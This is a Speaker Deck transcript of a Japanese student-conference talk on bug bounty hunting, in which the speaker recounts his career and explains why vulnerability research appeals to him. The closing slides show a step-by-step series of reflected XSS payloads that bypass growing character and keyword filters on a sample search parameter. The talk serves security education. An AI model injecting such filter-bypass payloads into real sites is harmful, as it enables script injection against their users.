$30 off During Our Annual Pro Sale. View Details »
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
バグハンティングのすゝめ / P3NFEST
Search
Masato Kinugawa
February 17, 2024
5
2k
バグハンティングのすゝめ / P3NFEST
学生のためのサイバーセキュリティカンファレンス P3NFESTの発表資料です。
Masato Kinugawa
February 17, 2024
Tweet
Share
More Decks by Masato Kinugawa
See All by Masato Kinugawa
注目したいクライアントサイドの脆弱性2選/ Security.Tokyo #3
masatokinugawa
8
3.2k
Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12
masatokinugawa
13
18k
How I Hacked Microsoft Teams and got $150,000 in Pwn2Own
masatokinugawa
1
20k
JSでDoSる/ Shibuya.XSS techtalk #11
masatokinugawa
21
6.7k
Electron: Abusing the lack of context isolation - CureCon(en)
masatokinugawa
5
97k
Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)
masatokinugawa
9
25k
バグハンターが見てきたBug Bountyの7年 / LINE Developer Meetup #34 Security Bug Bounty
masatokinugawa
18
12k
5文字で書くJavaScript/ Shibuya.XSS techtalk #10
masatokinugawa
35
20k
ブラウザのUIのバグを探す / Secusoba PopUnder
masatokinugawa
2
2.1k
Featured
See All Featured
Large-scale JavaScript Application Architecture
addyosmani
510
110k
Faster Mobile Websites
deanohume
305
30k
The Pragmatic Product Professional
lauravandoore
31
6.3k
Designing on Purpose - Digital PM Summit 2013
jponch
115
7k
Bootstrapping a Software Product
garrettdimon
PRO
305
110k
The Success of Rails: Ensuring Growth for the Next 100 Years
eileencodes
44
6.8k
Creating an realtime collaboration tool: Agile Flush - .NET Oxford
marcduiker
25
1.8k
JavaScript: Past, Present, and Future - NDC Porto 2020
reverentgeek
47
5k
個人開発の失敗を避けるイケてる考え方 / tips for indie hackers
panda_program
93
17k
Designing the Hi-DPI Web
ddemaree
280
34k
The Cult of Friendly URLs
andyhume
78
6.1k
Teambox: Starting and Learning
jrom
133
8.8k
Transcript
2024/2/17 P3NFEST / Masato Kinugawa バグハンティング のすゝめ
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 自己紹介 • Masato Kinugawa • Webアプリやブラウザの脆弱性を探すのが好き • XSS脆弱性が好き
• 2010~2015: 専業バグハンター • 2016~: Cure53で脆弱性診断
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ここへ来ることになったきっかけ • IssueHuntを通じてBug Bounty実施企業へ脆弱性報告をする • 使ってみて不便に思う点があったのでフィードバック • 代表の横溝さんから直接連絡をいただく
• 問い合わせた件はすぐに対応される • その流れでお話をいただく
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 今日の話 • 僕とBug Bounty • 経歴から、ただならぬ深い関係を紹介 • どうやって探せるようになっていったか
• Bug Bountyの良さ • Bug Huntingの面白さ • 何がそんなに面白いのか • 発見の具体例を挙げつつ紹介 自分の経験からバグバウンティ・バグハンティングの 魅力を少しでも伝えられたら!
僕と Bug Bounty
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 専業バグハンター? どうしてそうなった?
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 子供時代 • コンピュータが好きな自覚はあった • パソコンで作業するのが好き • 「情報」教科は勝手に成績がよかった •
特別自慢できるスキルはなかった • セキュリティはまだなにも • プログラミングもできない 好きに従って 情報系の大学へ進もうとするが…
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ どん底の学生時代(~2010) • 大学受験に繰り返し失敗 • 取り柄だと思っていた勉強に対する挫折 • 負の連鎖から鬱のような状態になる •
いったん情報系の専門学校へ行くことに • ひとまず好きなことをやった方が良いという鬱経験者のアドバイスから • 最初は楽しかったが、途中から行けなくなる • 資格取得と就職に特化されたカリキュラム • 目的のズレで滅入る、鬱は続く • 結局、進級の出席日数が足りなかったため退学を選択→無職へ
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ セキュリティとの出会い(2009~2010) • もう好きに自分で勉強しよう • コンピュータを勉強したい気持ちは残っていた • そんなときにたまたまWebの脆弱性を解説した記事を見る •
それを見て何気なくその辺のサイトでタグを入れると… (※ランダムなサイトで積極的な脆弱性のテストをすることは推奨しません。万が一見つけたら報告しましょう。)
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ XSSとの出会い • 脆弱性が身近にあるものだと知りさらに興味がわく • 中でもXSSに興味を持つ • 単純にみえて実は奥が深い •
はせがわようすけさんの記事からその面白さを知る 教科書に載らないWebアプリケーションセキュリティ https://atmarkit.itmedia.co.jp/fcoding/index/webapp.html 本当は怖い文字コードの話 https://gihyo.jp/list/group/本当は怖い文字コードの話 JavaScript変態文法最速マスター https://hasegawa.hatenablog.com/entry/20100203/p1
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ もっとXSSについて知りたい • XSSを起点に勉強を始める • JavaScript/HTML/CSS • HTTPの基本 •
XSSに関係するブラウザ周りの技術 • Same Origin Policy • 文字コード • Content-Type • レスポンスヘッダ • Cookie • XSSフィルター • ブラウザごとの挙動の違い XSS1つをきっかけにかなりの技術を学ぶことができた
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ここでBug Bounty登場 • GoogleがWebアプリでBug Bountyを開始(2010/11) • ブラウザなどでは既にあったがWebアプリでは初 •
もちろんXSSも対象 • 探してみると結構みつかる • 1か月程度で$7,337分のバグを見つける
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 専業バグハンターへ(2010~) • 楽しいだけでなくお金を貰えるモチベもできた • 勉強したことが報われた感覚があった • もっと脆弱性を探したい! バグバウンティを仕事にする
専業バグハンター人生が突然はじまる
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 専業バグハンターの生活 業務 :脆弱性を探す 収入 :報奨金 年収 :発見次第 職場
:自宅 同僚 :なし 働く日 :やる気がある時 休みの日 :やる気が無い時
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 脆弱性を探す日々(2010~2015) • Googleを中心に探し続ける • 他企業もBug Bountyを続々始め出す • Facebook、PayPal、HackerOne、サイボウズなど
• こっちへも報告 • ブラウザの脆弱性を探すことにも挑戦 • IEの脆弱性を見つけてこんなdebitカードを貰う→ • 気付くと生活に十分な収入を稼げていた • XSSで飯を食う生活
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 人との繋がりもできる • 「めんどうくさいWebセキュリティ」という本をご恵贈いただく • 原著者はGoogleのBug Bountyの担当者 • 本の中に自分が報告した攻撃が紹介されていたのがきっかけ
• 監修の上野宣さんとのここでの繋がりからオフラインのイベント 「セキュリティ・キャンプ」に参加させて頂く
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ セキュリティ・キャンプ • 合宿形式でセキュリティを学べる学生を対象にしたイベント • 業界のエキスパートが講師を務める • 地方開催のミニキャンプも https://www.security-camp.or.jp/index.html
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ キャンプに参加して • 5年間参加させて頂く • 2013:チューター • 2014~1017:講師 •
ここでWeb以外のセキュリティの世界を知る • 特に低レイヤーの脆弱性へ興味を持つ • アラートだけじゃなく電卓も出したい • そんなとき、講師の竹迫良範さんの紹介でサイボウズ・ラボ ユースという制度を紹介される
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ サイボウズ・ラボユース • サイボウズ・ラボによる、学生のソフトウェア研究開発を応援 してくれる制度 • ラボの社員の方に指導を受けながら開発が可能 • 奨励金あり
• 第4期生(2014) • ラボの光成滋生さんのアドバイスをもらいながら、低レイヤー の脆弱性の発見を目指した その結果、Lhaplusと秀丸エディタにバッファオーバーフローを発見 https://labs.cybozu.co.jp/youth.html
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 余談 • 学生が参加条件だったが、自分が応募した年から未就業者も可 能にして頂いた
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ Cure53へ(2016~) • XSS界で有名なMario Heiderichさんの情報セキュリティ会社 • 同社が毎年開催している高難易度のXSSチャレンジを何度か解 いた後にお誘いを受け、2016年1月チームへ加入 •
今年で9年目、素晴らしいチーム!
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ なぜCure53へ? • Marioさんがいること • 新しいことに挑戦したい気持ちから • バグハンターの自由気ままな生活も好きだが、それを理由に断 る必要がないくらい条件がフィットしていた
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ Cure53の生活 業務 :脆弱性を探す 収入 :働いた日数で貰える 年収 :プロジェクトの参加数次第 職場
:自宅 同僚 :いるけど全員リモート 働く日 :プロジェクトを入れた時 休みの日 :プロジェクトを入れていない時 バグハンター時代と大きくかわってない
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 最近の目立った活動:Pwn2Own • トレンドマイクロが運営する脆弱性発見コミュニティZDIによ るハッキングコンテスト(2007年~) • 2022年に参加しMicrosoft Teamsの任意コード実行に成功 •
賞金 $150,000 • バグハンター時代からの目標の1つをやっと達成できた
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ Bug Bountyと歩んだ十数年 • 何もできなかったところから、仕事になり、Pwn2Ownまで • 「楽しい」の原動力は大きい • Bug
Bountyが自分の未来を明るくしてくれた • もっとステップアップしていくモチベをくれた • 社会との接点ができ、いろいろな機会をもらえた
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ Bug Bountyの良さ • 発見の成果が直接報酬になる • 達成感が大きい • スキルがあれば仕事として稼げるほどの対価が得られる
• 一人でいつでもどこでもできる • カフェでも、深夜でも • 脆弱性研究が活性化され、人々が学び、世界が安全になる • 複雑なバグに時間を投資する動機付けになっている • かつてより情報共有が盛んになった印象
Bug Hunting の面白さ
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 脆弱性を見つけたアプリの例 • Webアプリケーション • Google、Microsoft、GitHub、LINE、サイボウズ • ブラウザ •
Chrome、Safari、Firefox、MS Edge、Internet Explorer • ライブラリ・フレームワーク • AngularJS、jQuery、Electron、Ember.js • その他ソフトウェア製品 • Discord、Microsoft Teams、Lhaplus、秀丸エディタ、Adobe Flash
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ なぜそんなに脆弱性を探すの? • 楽しいから • お金がもらえるから • 世の中のためになるから •
人から認められるから
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ なぜそんなに脆弱性を探すの? •楽しいから • お金がもらえるから • 世の中のためになるから • 人から認められるから
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 「楽しい」の原動力は大きい • 無理なく継続できる • バグハンティングは長期戦 • 能動的に学ぶ姿勢ができる •
バグハンティングは新しい学習の連続 • Bountyがもらえなくても気にならない • 面白い脆弱性をみつけられたからいいや • 勉強になったからいいや 幸せなバグハンターライフは 楽しみを見いだせるかにかかっている!
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ バグハンティングの面白さ 1. パズル的な楽しみ 2. 想定解がない面白さ 3. 攻撃対象の自由さ 4.
分解の楽しみ 5. 悪用を考える楽しみ
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 1. パズル的な楽しみ • インジェクション系のバグはパズルそのもの • 自分がXSSに惹かれた最初の要素 • 特定の縛りが発生したりするとさらに楽しいことになる
• ある文字種が使えない • 文字数の制限 • 大文字にされてしまう…など • 制約はリアルバグで普通に起こる alert(1) ALERT(1)
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 実例:XSS <script> kw = "**INPUT**"; </script> https://example.com/search?keyword=**INPUT** 反映される
こんなときのXSS
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ XSS #1 <script> kw = "</script><script>alert(1)//"; </script> https://example.com/search?keyword=</script[...]
最初は簡単
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ < > × Round 2 ここで < と
> を禁止したらどうか
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ XSS #2 <script> kw = "";alert(1);""; </script> https://example.com/search?keyword=";alert(1);"
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ < > alert × Round 3
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ XSS #3 <script> kw = "";eval("a"+"lert(1)");""; </script> https://example.com/search?keyword=";eval[...]
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ < > alert eval Function setTimeout setInterval ×
Round 4
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ XSS #4 <script> kw = "";location='javascript:a'+'lert(1)';""; </script> https://example.com/search?keyword=";location[...]
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ < > alert eval Function setTimeout setInterval :
× Round 5
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ XSS #5 <script> kw = "";location='javascript\x3Aa'+'lert(1)';""; </script> https://example.com/search?keyword=";location[...]
